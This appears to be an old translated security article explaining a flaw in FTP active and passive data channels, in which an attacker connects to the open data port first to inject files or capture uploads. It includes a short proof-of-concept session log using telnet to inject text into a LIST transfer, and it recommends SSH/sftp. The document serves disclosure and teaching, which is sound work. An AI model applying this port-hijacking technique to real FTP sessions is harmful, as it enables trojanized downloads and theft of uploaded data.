Author:
Tomasz Grabowski (Network Security Analyst at the Academic Centre of
Computer Science - Technical University of Szczecin, Poland)
Translation:
Dominik Miklaszewski (WAN Security Analyst)
Intro
-----
For last two days I've been busy of studying FTP core functionalities.
What I have noticed
seems to me at least troublesome. Generally speaking it shouldn't be
used for anything, but anonymous
transfers from public FTP sites. From security standpoint using such
tools like SSH/sftp is a must.
Below I explained the issue with details why the FTP transfers are
dangerous and virtually useless if we take security of our network
seriously (that includes client side).
How does a standart FTP session look like?
------------------------------------------
A client initiate a session from port >1023 to port 21 on a remote
server. This one provides control functions.
When the client has released a command that implies with any sort of
data transfer (LIST, DIR, GET, PUT..)
there is a need of other channel to be set up. The initialization od
data-channel can done passively or actively.
Active Mode
-----------
1. The client machine opens up a local port with >1023 (i.e. 4010) and
starts listening for the
transmission from the server.
2. Then the client sends out PORT command to the server with a hostname
and port number as the server
has to know where the data (i.e. results of issuing LIST command) is to
be sent.
3. The server sends out a confirmation on PORT command and sends out the
data from port 20.
Passive Mode
------------
1. The client sends out information to the server that the incoming
session is going to be in the PASSIVE mode.
2. The server opens up a port (randomly above 1023) ans starts listening
over.
3. The server sends out the information about the opened port to the
client.
4. The clients starts sending out commands.
Where are those damn holes?
---------------------------
At first place we'll talk about ACTIVE mode.
The client opens up a port for the server BEFORE the PORT command is
issued.
It is OK according to the RFC specification. Anyways, it gives an
attacker an opportunity to
connect to that initialized port with i.e. telnet and then wait until
the remote server sends
out a confirmation on the received PORT command. Since then on regarding
to what data command is issued anything that the attacker sends to the
client's port will be taken as a legal transmission from the server.
The very example can be the RETR command:
The attacker can shuffle off it's own "trojanized" version of a binary
in place of the legal binary
being downloaded from the server. Moreover if the trojanized version
fits to the TCP outbound buffer
the server will take is for its own file that has been downloaded
shortly.
The other example is the STOR command:
In this case will get what the client is willing to upload the server
with.
This may result in obvious security problems.
A proof of concept
------------------
The client sits on rubycon
The server is on phobos
rubycon:~$ ftp -d
ftp> open phobos
Connected to phobos.
220 ProFTPD 1.2.0pre10 Server (csdsd) [phobos]
Name (phobos:cad): cad
---> USER cadence
331 Password required for cad.
Password:
---> PASS XXXX
230 User cadence logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd stevens
Now we're on the server in the subfolder named "stevens", we'd like to
see what's in there:
(in the meantime to
ftp> dir
ftp: setsockopt (ignored): Permission denied
---> PORT xxx,xxx,xxx,xxx,16,219
(the port number is 16:256+219 = 4316) -> it's easy to obtain that
information by a careful portscan
(in the meantime I have connected to that port from the other machine)
telnet rubycon 4316
Trying xxx.xxx.xxx.xxx...
Connected to rubycon.
Escape character is '^]'.
(now, get back to rubycon and let's issue the LIST command)
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
(at this time the remote FTP server (phobos) is trying to get to the
opened port on rubycon
and it fails as there is already established connection from the other
host, nonetheless the FTP server
doesn't care as long as it successfully can send out data for the
issued LIST command.
Now, let's check out what happens when we input some trash in the
existing telnet session:)
dfgdfg
dfgdfgdfgdfg
dfgdfgdfgdfgdfgdfgd
(here is what we get on our ftp session on rubycon as a result of issued
LIST command:)
150 Opening ASCII mode data connection for file list.
dfgdfg
dfgdfgdfgdfg
dfgdfgdfgdfgdfgdfgd
e226 Transfer complete.
ftp>
Everything looks fine at both client's and server's side..
How to attack PASSIVE mode transmission? The method is exactly the same,
the oonly change is that
a one connects to a port on the server.
----- the end of the article -------------------